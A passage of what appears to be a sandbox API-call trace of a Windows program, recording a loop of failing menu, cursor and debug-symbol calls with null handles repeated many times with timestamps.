(hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.904] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.904] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=423, param_4=409, param_5=0x0, param_6=0x0) returned 0 [0218.904] GetLastError () returned 0x579 [0218.905] SetLastError (dwErrCode=0x579) [0218.905] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.905] SymCleanup (hProcess=0x0) returned 0 [0218.905] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.905] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.905] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.905] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0218.905] GetLastError () returned 0x579 [0218.905] SetLastError (dwErrCode=0x579) [0218.905] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.905] SymCleanup (hProcess=0x0) returned 0 [0218.905] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.905] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.905] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.905] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=410, param_5=0x0, param_6=0x0) returned 0 [0218.905] GetLastError () returned 0x579 [0218.905] SetLastError (dwErrCode=0x579) [0218.905] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.905] SymCleanup (hProcess=0x0) returned 0 [0218.905] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.905] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.905] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.905] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=211, param_4=665, param_5=0x0, param_6=0x0) returned 0 [0218.906] GetLastError () returned 0x579 [0218.906] SetLastError (dwErrCode=0x579) [0218.906] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.906] SymCleanup (hProcess=0x0) returned 0 [0218.906] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.906] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.906] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.906] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0218.906] GetLastError () returned 0x579 [0218.906] SetLastError (dwErrCode=0x579) [0218.906] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.906] SymCleanup (hProcess=0x0) returned 0 [0218.906] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.906] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.906] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.906] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=426, param_4=405, param_5=0x0, param_6=0x0) returned 0 [0218.906] GetLastError () returned 0x579 [0218.906] SetLastError (dwErrCode=0x579) [0218.906] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.906] SymCleanup (hProcess=0x0) returned 0 [0218.906] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.906] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.906] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.906] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0218.907] GetLastError () returned 0x579 [0218.907] SetLastError (dwErrCode=0x579) [0218.907] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.907] SymCleanup (hProcess=0x0) returned 0 [0218.907] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.907] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.907] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.907] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=423, param_4=406, param_5=0x0, param_6=0x0) returned 0 [0218.907] GetLastError () returned 0x579 [0218.907] SetLastError (dwErrCode=0x579) [0218.907] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.907] SymCleanup (hProcess=0x0) returned 0 [0218.907] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.907] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.907] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.907] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=314, param_4=831, param_5=0x0, param_6=0x0) returned 0 [0218.907] GetLastError () returned 0x579 [0218.907] SetLastError (dwErrCode=0x579) [0218.907] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.907] SymCleanup (hProcess=0x0) returned 0 [0218.907] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.907] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.907] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.907] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0218.908] GetLastError () returned 0x579 [0218.908] SetLastError (dwErrCode=0x579) [0218.908] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.908] SymCleanup (hProcess=0x0) returned 0 [0218.908] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.908] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.908] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.908] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=425, param_4=410, param_5=0x0, param_6=0x0) returned 0 [0218.908] GetLastError () returned 0x579 [0218.908] SetLastError (dwErrCode=0x579) [0218.908] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.908] SymCleanup (hProcess=0x0) returned 0 [0218.908] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.908] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.908] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.908] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0218.908] GetLastError () returned 0x579 [0218.908] SetLastError (dwErrCode=0x579) [0218.908] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.908] SymCleanup (hProcess=0x0) returned 0 [0218.908] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.908] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.908] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.908] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=422, param_4=405, param_5=0x0, param_6=0x0) returned 0 [0218.909] GetLastError () returned 0x579 [0218.909] SetLastError (dwErrCode=0x579) [0218.909] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.909] SymCleanup (hProcess=0x0) returned 0 [0218.909] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.909] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.909] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.909] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=240, param_4=123, param_5=0x0, param_6=0x0) returned 0 [0218.909] GetLastError () returned 0x579 [0218.909] SetLastError (dwErrCode=0x579) [0218.909] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.909] SymCleanup (hProcess=0x0) returned 0 [0218.909] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.909] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.909] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.909] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0218.909] GetLastError () returned 0x579 [0218.909] SetLastError (dwErrCode=0x579) [0218.909] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.909] SymCleanup (hProcess=0x0) returned 0 [0218.909] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.909] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.909] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.909] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=422, param_4=411, param_5=0x0, param_6=0x0) returned 0 [0218.910] GetLastError () returned 0x579 [0218.910] SetLastError (dwErrCode=0x579) [0218.910] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.910] SymCleanup (hProcess=0x0) returned 0 [0218.910] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.910] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.910] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.910] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0218.910] GetLastError () returned 0x579 [0218.910] SetLastError (dwErrCode=0x579) [0218.910] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.910] SymCleanup (hProcess=0x0) returned 0 [0218.910] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.910] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.910] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.910] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=411, param_5=0x0, param_6=0x0) returned 0 [0218.910] GetLastError () returned 0x579 [0218.910] SetLastError (dwErrCode=0x579) [0218.910] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.910] SymCleanup (hProcess=0x0) returned 0 [0218.910] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.910] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.910] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.911] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=967, param_4=64, param_5=0x0, param_6=0x0) returned 0 [0218.911] GetLastError () returned 0x579 [0218.911] SetLastError (dwErrCode=0x579) [0218.911] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.911] SymCleanup (hProcess=0x0) returned 0 [0218.911] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.911] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.911] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.911] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0218.911] GetLastError () returned 0x579 [0218.911] SetLastError (dwErrCode=0x579) [0218.911] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.911] SymCleanup (hProcess=0x0) returned 0 [0218.911] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.911] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.911] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.911] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=422, param_4=411, param_5=0x0, param_6=0x0) returned 0 [0218.911] GetLastError () returned 0x579 [0218.911] SetLastError (dwErrCode=0x579) [0218.911] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.911] SymCleanup (hProcess=0x0) returned 0 [0218.911] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.911] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.911] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.912] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0218.912] GetLastError () returned 0x579 [0218.912] SetLastError (dwErrCode=0x579) [0218.912] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.912] SymCleanup (hProcess=0x0) returned 0 [0218.912] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.912] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.912] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.912] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=427, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0218.912] GetLastError () returned 0x579 [0218.912] SetLastError (dwErrCode=0x579) [0218.912] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.912] SymCleanup (hProcess=0x0) returned 0 [0218.912] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.912] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.912] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.912] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=326, param_4=347, param_5=0x0, param_6=0x0) returned 0 [0218.912] GetLastError () returned 0x579 [0218.912] SetLastError (dwErrCode=0x579) [0218.912] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.912] SymCleanup (hProcess=0x0) returned 0 [0218.912] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.913] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.913] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.913] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0218.913] GetLastError () returned 0x579 [0218.913] SetLastError (dwErrCode=0x579) [0218.913] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.913] SymCleanup (hProcess=0x0) returned 0 [0218.913] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.913] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.913] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.913] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=423, param_4=406, param_5=0x0, param_6=0x0) returned 0 [0218.913] GetLastError () returned 0x579 [0218.913] SetLastError (dwErrCode=0x579) [0218.913] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.913] SymCleanup (hProcess=0x0) returned 0 [0218.913] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.913] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.913] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.913] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0218.913] GetLastError () returned 0x579 [0218.913] SetLastError (dwErrCode=0x579) [0218.913] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.914] SymCleanup (hProcess=0x0) returned 0 [0218.914] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.914] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.914] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.914] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=421, param_4=411, param_5=0x0, param_6=0x0) returned 0 [0218.914] GetLastError () returned 0x579 [0218.914] SetLastError (dwErrCode=0x579) [0218.914] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.914] SymCleanup (hProcess=0x0) returned 0 [0218.914] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.914] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.914] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.914] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=136, param_4=497, param_5=0x0, param_6=0x0) returned 0 [0218.914] GetLastError () returned 0x579 [0218.914] SetLastError (dwErrCode=0x579) [0218.914] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.914] SymCleanup (hProcess=0x0) returned 0 [0218.914] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.914] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.914] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.914] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0218.914] GetLastError () returned 0x579 [0218.914] SetLastError (dwErrCode=0x579) [0218.914] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.915] SymCleanup (hProcess=0x0) returned 0 [0218.915] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.915] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.915] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.915] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=427, param_4=407, param_5=0x0, param_6=0x0) returned 0 [0218.915] GetLastError () returned 0x579 [0218.915] SetLastError (dwErrCode=0x579) [0218.915] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.915] SymCleanup (hProcess=0x0) returned 0 [0218.915] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.915] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.915] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.915] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0218.915] GetLastError () returned 0x579 [0218.976] SetLastError (dwErrCode=0x579) [0218.976] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.976] SymCleanup (hProcess=0x0) returned 0 [0218.976] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.976] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.976] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.976] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=421, param_4=406, param_5=0x0, param_6=0x0) returned 0 [0218.976] GetLastError () returned 0x579 [0218.976] SetLastError (dwErrCode=0x579) [0218.976] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.976] SymCleanup (hProcess=0x0) returned 0 [0218.976] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.976] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.976] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.976] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=193, param_4=250, param_5=0x0, param_6=0x0) returned 0 [0218.977] GetLastError () returned 0x579 [0218.977] SetLastError (dwErrCode=0x579) [0218.977] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.977] SymCleanup (hProcess=0x0) returned 0 [0218.977] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.977] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.977] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.977] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0218.977] GetLastError () returned 0x579 [0218.977] SetLastError (dwErrCode=0x579) [0218.977] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.977] SymCleanup (hProcess=0x0) returned 0 [0218.977] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.977] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.977] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.977] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=426, param_4=410, param_5=0x0, param_6=0x0) returned 0 [0218.977] GetLastError () returned 0x579 [0218.977] SetLastError (dwErrCode=0x579) [0218.977] SymFindFileInPath (in: 